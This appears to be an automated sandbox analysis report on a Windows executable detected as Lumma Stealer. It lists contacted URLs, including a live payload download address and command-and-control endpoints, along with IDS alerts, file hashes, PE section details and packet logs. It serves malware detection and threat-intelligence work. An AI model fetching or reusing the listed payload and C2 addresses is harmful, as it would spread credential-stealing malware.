http://185.215.113.16/	file.exe, 00000000.00000003.2309522693.0000000000825000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2310542213.0000000000826000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2309210471.0000000000820000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	file.exe, 00000000.00000003.2189423001.000000000541A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2189262274.0000000005411000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/apib	file.exe, 00000000.00000003.2309522693.0000000000825000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2213479906.0000000000827000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2310542213.0000000000826000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2309210471.0000000000820000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2245162235.0000000000827000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/	file.exe, file.exe, 00000000.00000003.2245162235.000000000080A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2217103827.0000000000807000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2310516631.000000000080A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2310271074.00000000007B3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2193027266.0000000000827000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2245384514.00000000007DA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2143156128.0000000000807000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2143002387.00000000007D9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2193027266.0000000000807000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2213479906.000000000080A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000003.2189423001.000000000541A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2189262274.0000000005411000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000000.00000003.2173711615.0000000005459000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000003.2189423001.000000000541A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2189262274.0000000005411000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/apis	file.exe, 00000000.00000002.2310271074.00000000007B3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000003.2189423001.000000000541A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2189262274.0000000005411000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/E	file.exe, 00000000.00000003.2217103827.0000000000807000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2213479906.000000000080A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exe	file.exe, 00000000.00000002.2310271074.00000000007B3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2310192211.00000000006FA000.00000004.00000010.00020000.00000000.sdmp	false		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.2143978453.0000000005446000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2143919731.0000000005449000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2144132431.0000000005446000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.97.3	necklacedmny.store	European Union		13335	CLOUDFLARENETUS	true
185.215.113.16	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1544110
Start date and time:	2024-10-28 20:49:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/2@6/2
EGA Information:	Successful, ratio: 50%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target file.exe, PID 4952 because there are no executed function
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
15:50:07	API Interceptor	10x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.97.3	PbfYaIvR5B.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	windowsxp.top/ExternaltoPhppollcpuupdateTrafficpublic.php
	SR3JZpolPo.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	xilloolli.com/api.php?status=1&wallets=0&av=1
	5Z1WFRMTOXRH6X21Z8NU8.exe	Get hash	malicious	Unknown	Browse	artvisions-autoinsider.com/8bkjdSdfjCe/index.php
	PO 4800040256.exe	Get hash	malicious	FormBook	Browse	www.cc101.pro/4hfb/
	QUOTATION_OCTQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/cDXpxO66/download
	Instruction_1928.pdf.lnk.download.lnk	Get hash	malicious	LummaC	Browse	tech-tribune.shop/pLQvfD4d5/index.php
	WBCDZ4Z3M2667YBDZ5K4.bin.exe	Get hash	malicious	Unknown	Browse	tech-tribune.shop/pLQvfD4d5/index.php
	yGktPvplJn.exe	Get hash	malicious	Pushdo	Browse	www.rs-ag.com/
	https://is.gd/6NgVrQ	Get hash	malicious	HTMLPhisher	Browse	aa.opencompanies.co.uk/vEXJm/
	Comprobante de pago.xlam.xlsx	Get hash	malicious	Unknown	Browse	paste.ee/d/KXy1F
185.215.113.16	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
necklacedmny.store	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	original.eml	Get hash	malicious	HTMLPhisher	Browse	1.1.1.1
	https://inspyrehomedesign.com	Get hash	malicious	NetSupport RAT	Browse	172.67.68.212
	https://inspyrehomedesign.com/Ray-verify.html	Get hash	malicious	NetSupport RAT	Browse	172.67.68.212
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	SecuriteInfo.com.Other.Malware-gen.29374.9055.xlsx	Get hash	malicious	HTMLPhisher, Lokibot	Browse	188.114.96.3
	setup.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://app.pandadoc.com/document/v2?token=2126fee3194112970cb23c51d0c56249323ace2b	Get hash	malicious	Unknown	Browse	104.16.160.168
	setup.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
	https://e.trustifi.com/#/fff2a6/655144/3ac50c/e93bb8/594e42/41c163/f1cd98/92ee40/e8666a/ef542d/85972d/627493/9a11d6/1f4096/1d247f/848a7a/9632d0/879ea4/bcfc0d/744595/93daa1/f34456/a15015/3ddaed/fad545/1fd970/328bf8/9bb3f0/c514cd/df7a51/88456c/c9366d/790245/fb6752/33794d/6e0d28/60381b/a98a06/87eaef/01f4e4/642891/927008/b3d84b/be88ef/6f56ca/922d7f/c2017a/2b28ce/5f100a/ab5cfe/ca732f/ba9f64/6c13c0/db448e/12afff/ea859a/0054d0/06ab25/ddf455/c36939/fe771f/592f7f/fd9f55/51d733/4f5c46/02cddd/dbef71/7c02e0/b3eaba/7eac45/4a8768/a7dd16/2174e0/de559c/dacc2a/571f0f/f5f216/44ee34/abbbf4/b6cd49/d82da6/795ff3/bc1fdf/8febc7/4b7488/0cb4fb/7ef03b/a191c5/4d2316/483906/0c1e88	Get hash	malicious	Unknown	Browse	188.114.96.3
	dekont_001.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	XS_Trade_AI-newest_release_.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	https://dl.dropboxusercontent.com/scl/fi/95is2w1ywjvorzayt88dp/DKM-0192PDF.zip?rlkey=svoej4s4tb5lwbnvthtgrmokl&st=d99zdn1k&dl=0	Get hash	malicious	Abobus Obfuscator	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	Okfjk1hs4kdhs2.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3

Process:	C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2764800
Entropy (8bit):	6.442524622249668
Encrypted:	false
SSDEEP:	49152:np4QP2/XI7Mwhcu+kRsNOIeQ+aUq3sDns:iQP2/XI7MwidNVeQ+EcDns
MD5:	3B7C380FD62D7A3638990F8F056833B0
SHA1:	3D0D81ECE56306FC35949F8F4C8334EDA3E1C66E
SHA-256:	6B2E614A2D1E267B6542FB92BBD6BBB2145EF1242B6EE342DC867DA02D9F73FF
SHA-512:	69D99B4E518958ADCB22F8405CB04414C491AFFF97199798237845613D3163DB182AAF198BE433EE52D551FD0276C5B3FAC2E847F40B5176D8EDC481F9287E24
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$.............. ...`....@.. .............................Y....`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...fpzmwmlj..).......)..:..............@...oxclcnlz. ........................@....taggant.@......"....*.............@...................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.582353136056198
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'990'080 bytes
MD5:	abe40c70fb0035e436b9f150efc4de93
SHA1:	f799393885ab15696bce3107559050421c85fb08
SHA256:	27df55e7eb8dcf5597bff191dbf82a6357a5622960eff6a3150106fbdbfc2592
SHA512:	0618987dff534a3d25ef50dc70bd50ddaa0347b8465910607c42b706358ba3f3bc35decf0901e9d6de002ca0e8af1c15558ee614b82c5e05d4829edf9a5dd68d
SSDEEP:	49152:Yanf8xIm/LH74CCyDtrYogFq+H9LnjPG4UJ2JX:Yaf8xIm/n4Py5gqq9LjPG4Ug
TLSH:	E3D53AB2B649B1CFD49E2379911BCD82585D83F84B1248E3AC6C74BA7D73CC216B9C64
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............0...........@...........................0.......-...@.................................T...h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x70b000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6715D353 [Mon Oct 21 04:06:43 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FE358DCBCEAh
movd dword ptr [00000000h], mm5
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], bl
add byte ptr [eax+000000FEh], ah
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax*4], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5a054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5a1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x58000	0x27e00	4edb4a2fab9bc7baa6cb6599f605ce51	False	0.9981570826802508	data	7.983457155756711	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x59000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5a000	0x1000	0x200	555a11fa24a077379003c187d9c9d020	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
uhongkzv	0x5b000	0x2af000	0x2aea00	d751ade43477035bebc457c8abc7b1dd	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
bjauixau	0x30a000	0x1000	0x400	4dab5f1ef3292aba6bba60c32bf013e5	False	0.7685546875	data	6.029355915968533	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x30b000	0x3000	0x2200	4a1a2f51ab4160e915524bcee0e58350	False	0.09168198529411764	DOS executable (COM)	1.0001987109220465	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-28T20:50:10.343616+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	52226	188.114.97.3	443	TCP
2024-10-28T20:50:10.343616+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	52226	188.114.97.3	443	TCP
2024-10-28T20:50:11.519999+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	52227	188.114.97.3	443	TCP
2024-10-28T20:50:11.519999+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	52227	188.114.97.3	443	TCP
2024-10-28T20:50:18.655584+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	52231	188.114.97.3	443	TCP
2024-10-28T20:50:22.981996+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	52250	188.114.97.3	443	TCP
2024-10-28T20:50:23.891332+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	52257	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 28, 2024 20:50:09.061530113 CET	52226	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:09.061577082 CET	443	52226	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:09.061676979 CET	52226	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:09.063244104 CET	52226	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:09.063261032 CET	443	52226	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:09.795237064 CET	443	52226	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:09.795384884 CET	52226	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:09.800110102 CET	52226	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:09.800120115 CET	443	52226	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:09.800510883 CET	443	52226	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:09.845825911 CET	52226	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:09.854656935 CET	52226	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:09.854698896 CET	52226	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:09.854865074 CET	443	52226	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:10.343704939 CET	443	52226	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:10.343951941 CET	443	52226	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:10.344096899 CET	52226	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:10.345596075 CET	52226	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:10.345616102 CET	443	52226	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:10.345633984 CET	52226	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:10.345639944 CET	443	52226	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:10.427036047 CET	52227	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:10.427086115 CET	443	52227	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:10.427177906 CET	52227	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:10.427566051 CET	52227	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:10.427578926 CET	443	52227	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:11.050595999 CET	443	52227	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:11.050775051 CET	52227	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:11.059802055 CET	52227	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:11.059818029 CET	443	52227	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:11.060139894 CET	443	52227	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:11.061238050 CET	52227	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:11.061265945 CET	52227	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:11.061343908 CET	443	52227	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:11.520062923 CET	443	52227	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:11.520247936 CET	443	52227	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:11.520297050 CET	52227	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:11.520317078 CET	443	52227	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:11.520466089 CET	443	52227	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:11.520546913 CET	443	52227	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:11.520623922 CET	443	52227	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:11.520662069 CET	52227	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:11.520670891 CET	443	52227	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:11.520709038 CET	52227	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:11.520783901 CET	443	52227	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:11.520832062 CET	52227	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:11.520838976 CET	443	52227	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:11.520947933 CET	443	52227	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:11.521003008 CET	52227	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:11.521011114 CET	443	52227	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:11.564563990 CET	52227	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:11.636874914 CET	443	52227	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:11.637093067 CET	443	52227	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:11.637185097 CET	52227	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:11.637201071 CET	443	52227	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:11.637475014 CET	443	52227	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:11.637598991 CET	52227	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:11.637618065 CET	443	52227	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:11.637820005 CET	443	52227	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:11.637877941 CET	52227	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:11.637933016 CET	52227	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:11.637954950 CET	443	52227	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:11.637968063 CET	52227	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:11.637973070 CET	443	52227	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:11.825386047 CET	52228	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:11.825438976 CET	443	52228	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:11.825534105 CET	52228	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:11.825854063 CET	52228	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:11.825874090 CET	443	52228	188.114.97.3	192.168.2.5
